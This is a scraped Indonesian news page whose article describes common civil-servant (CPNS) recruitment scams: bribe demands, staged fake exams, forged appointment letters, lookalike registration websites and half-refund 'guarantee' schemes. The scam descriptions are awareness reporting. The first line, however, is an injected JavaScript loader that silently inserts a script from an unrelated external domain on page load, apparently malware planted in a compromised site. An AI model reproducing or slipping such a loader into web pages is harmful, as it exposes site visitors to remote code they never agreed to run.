(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Modus penipuan Calon Pegawai Negeri Sipil (CPNS) saat ini kian beragam. Penipu memanfaatkan animo masyarakat yang begitu tinggi untuk mengikuti tes CPNS yang sempat mengalami masa moratorium selama beberapa tahun. Berikut beberapa modus yang digunakan :
Pelaku biasanya akan meminta sejumlah dana yang dikatakan sebagai pelicin agar lolos tes CPNS dengan besaran nominal bervariasi.
Hal ini dilakukan oleh pelaku denan cara mengumpulkan seluruh korbannya suatu tempat seolah-olah menyelenggarakan tes CPNS di sana. Untuk melengkapi kedok, pelaku juga membayar beberapa orang untuk berpura-pura sebagai pegawainya. Termasuk mengenakan beberapa baju PNS agar semakin meyakinkan.
Pelaku penipuan mengatasnamakan orang kepercayaan pejabat. Para korban dimintai sejumlah dana yang nilainya puluhan juta rupiah setiap orang dengan dalih uang pelicin. Selanjutnya para korban akan mendapatkan Surat Keputusan Pengangkatan PNS palsu sambil menunggu kabar pemanggilan berikutnya.
Sistem pendaftaran CPNS yang dilakukan secara online juga dimanfaatkan oleh pelaku kejahatan. Pelaku membuat situs lain dengan alamat yang hampir mirip dengan situs pendaftaraan resmi CPNS. Sehingga para calon pelamar CPNS ini ada yang salah masuk ke situs penerimaan palsu. Di dalam situs palsu tersebut, calon pelamar akan diminta membuat akun member untuk masuk ke kolom pendaftaran. Untuk menjadi member, mereka harus menstransfer sejumlah dana yang telah ditentukan.
Memaksimalkan modus penipuannya ini, pelaku juga akan mengirimkan kartu pendaftaran palsu ke email para korbannya. Ini mengakibatkan para korbannya tidak menyadari bahwa mereka telah menjadi korban penipuan hingga saat mereka mengikuti tes CPNS tersebut. BKN membenarkan bahwa beberapa kali pihaknya menerima laporan penipuan CPNS dengan modus ini di beberapa daerah.
Modus ini dilakukan dengan cara menitipkan uang kepada seseorang dan jika gagal CPNS maka uang tersebut akan dikembalikan setengah. Modus penipuan ini lebih terlihat meyakinkan bagi para korbannya, walaupun jumlah dana yang disetorkan nominalnya puluhan hingga ratusan juta rupiah namun mereka akan tetap melakukannya.
Jaminan uang kembali walaupun hanya setengahnya menjadikan para korban yakin untuk menitipkan anaknya. Kalaupun gagal, tidak semua uangnya menghilang. Padahal sebenarnya pelaku penipuan modus ini tidak melakukan apapun. Dia hanya mengaku bisa membantu dan tidak menjanjikan pasti lulus CPNS, namun dia akan berusaha melobi orang-orang berpengaruh.
Selanjutnya dia hanya akan melihat proses penerimaan CPNS berjalan seperti biasa, ketika ada nama-nama korbannya yang tidak lolos CPNS maka dia akan mengembalikan setengah uang mereka. Sedangkan untuk yang lolos, seluruh uang tersebut masuk kantong pelaku.
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More
KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More
KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More
KANALKALIMANTAN.COM - PT Bank Rakyat Indonesia (Persero) Tbk atau BRI menghadirkan Program Spesial KPR BRI.… Read More
KANALKALIMANTAN.COM - BRI kembali menunjukkan komitmennya untuk memanjakan para nasabah setia di momen ulang tahun ke-129.… Read More
This website uses cookies.